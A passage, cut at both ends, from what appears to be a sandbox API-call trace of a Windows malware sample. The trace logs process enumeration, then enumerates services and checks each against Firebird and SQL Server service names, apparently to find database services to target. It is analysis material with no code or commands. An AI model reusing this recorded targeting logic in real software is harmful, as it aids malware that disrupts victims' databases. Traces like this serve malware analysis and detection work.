szExeFile="taskhostw.exe")) returned 1 [0133.997] lstrlenW (lpString="taskhostw.exe") returned 13 [0133.998] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0134.001] lstrlenW (lpString="msoia.exe") returned 9 [0134.001] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0134.002] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0134.002] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0134.003] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0134.003] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0134.004] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0134.004] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0134.005] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0134.005] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0134.006] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0134.006] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0134.007] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0134.007] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0134.007] lstrlenW (lpString="concerned venture.exe") returned 21 [0134.008] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0134.009] lstrlenW (lpString="organizingscsi.exe") returned 18 [0134.009] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0134.010] lstrlenW (lpString="airplane placing.exe") returned 20 [0134.010] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0134.011] lstrlenW (lpString="circus.exe") returned 10 [0134.011] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0134.012] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0134.012] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0134.013] lstrlenW (lpString="das.exe") returned 7 [0134.013] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0134.013] lstrlenW (lpString="beam removable.exe") returned 18 [0134.013] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0134.015] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0134.015] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0134.016] lstrlenW (lpString="dome.exe") returned 8 [0134.016] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0134.017] lstrlenW (lpString="wiresjacket.exe") returned 15 [0134.017] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0134.018] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0134.018] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0134.019] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0134.019] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0134.020] lstrlenW (lpString="tested.exe") returned 10 [0134.020] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0134.021] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0134.021] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0134.022] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0134.022] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0134.023] lstrlenW (lpString="level.exe") returned 9 [0134.023] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0134.024] lstrlenW (lpString="dllhost.exe") returned 11 [0134.024] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.025] lstrlenW (lpString="conhost.exe") returned 11 [0134.025] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.026] lstrlenW (lpString="conhost.exe") returned 11 [0134.026] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.027] lstrlenW (lpString="svchost.exe") returned 11 [0134.027] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0134.028] lstrlenW (lpString="load0.exe") returned 9 [0134.028] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0134.031] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0134.031] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.032] lstrlenW (lpString="conhost.exe") returned 11 [0134.032] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0134.033] lstrlenW (lpString="cmd.exe") returned 7 [0134.033] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.033] lstrlenW (lpString="conhost.exe") returned 11 [0134.033] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.034] lstrlenW (lpString="svchost.exe") returned 11 [0134.034] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0134.035] CloseHandle (hObject=0x10a0) returned 1 [0134.035] Sleep (dwMilliseconds=0x1f4) [0134.547] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3460 [0134.547] EnumServicesStatusExW (in: hSCManager=0x5e3460, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0134.547] GetLastError () returned 0xea [0134.547] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69bb60 [0134.547] EnumServicesStatusExW (in: hSCManager=0x5e3460, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69bb60, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69bb60, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0134.548] CloseServiceHandle (hSCObject=0x5e3460) returned 1 [0134.548] lstrlenW (lpString="Appinfo") returned 7 [0134.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0134.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0134.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0134.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0134.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0134.549] lstrlenW (lpString="AppXSvc") returned 7 [0134.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0134.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0134.549] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0134.549] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0134.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0134.549] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0134.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.549] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0134.549] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0134.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0134.549] lstrlenW (lpString="Audiosrv") returned 8 [0134.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0134.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0134.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0134.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0134.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0134.549] lstrlenW (lpString="BFE") returned 3 [0134.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0134.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0134.549] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0134.549] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0134.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0134.549] lstrlenW (lpString="BITS") returned 4 [0134.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0134.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0134.549] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0134.549] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0134.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0134.549] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0134.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0134.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0134.549] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0134.549] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0134.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0134.550] lstrlenW (lpString="CDPSvc") returned 6 [0134.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0134.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0134.550] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0134.550] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0134.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0134.550] lstrlenW (lpString="ClickToRunSvc") returned 13 [0134.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0134.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0134.550] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0134.550] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0134.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0134.550] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0134.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0134.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0134.550] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0134.550] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0134.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0134.550] lstrlenW (lpString="CryptSvc") returned 8 [0134.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0134.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0134.550] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0134.550] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0134.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0134.550] lstrlenW (lpString="DcomLaunch") returned 10 [0134.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.550] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0134.550] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0134.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0134.550] lstrlenW (lpString="DeviceAssociationService") returned 24 [0134.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0134.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0134.551] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0134.551] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0134.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0134.551] lstrlenW (lpString="Dhcp") returned 4 [0134.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0134.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0134.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0134.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0134.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0134.551] lstrlenW (lpString="Dnscache") returned 8 [0134.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0134.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0134.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0134.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0134.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0134.551] lstrlenW (lpString="DoSvc") returned 5 [0134.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0134.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0134.551] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0134.551] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0134.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0134.551] lstrlenW (lpString="DPS") returned 3 [0134.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0134.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0134.551] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0134.551] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0134.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0134.551] lstrlenW (lpString="DusmSvc") returned 7 [0134.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0134.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0134.551] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0134.552] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0134.552] lstrlenW (lpString="EventLog") returned 8 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0134.552] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0134.552] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0134.552] lstrlenW (lpString="EventSystem") returned 11 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0134.552] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0134.552] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0134.552] lstrlenW (lpString="FontCache") returned 9 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0134.552] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0134.552] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0134.552] lstrlenW (lpString="gpsvc") returned 5 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0134.552] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0134.552] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0134.552] lstrlenW (lpString="iphlpsvc") returned 8 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0134.552] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0134.552] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0134.552] lstrlenW (lpString="KeyIso") returned 6 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0134.553] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0134.553] lstrlenW (lpString="LanmanServer") returned 12 [0134.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0134.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0134.553] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0134.553] lstrlenW (lpString="LanmanWorkstation") returned 17 [0134.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0134.553] lstrcmpiW 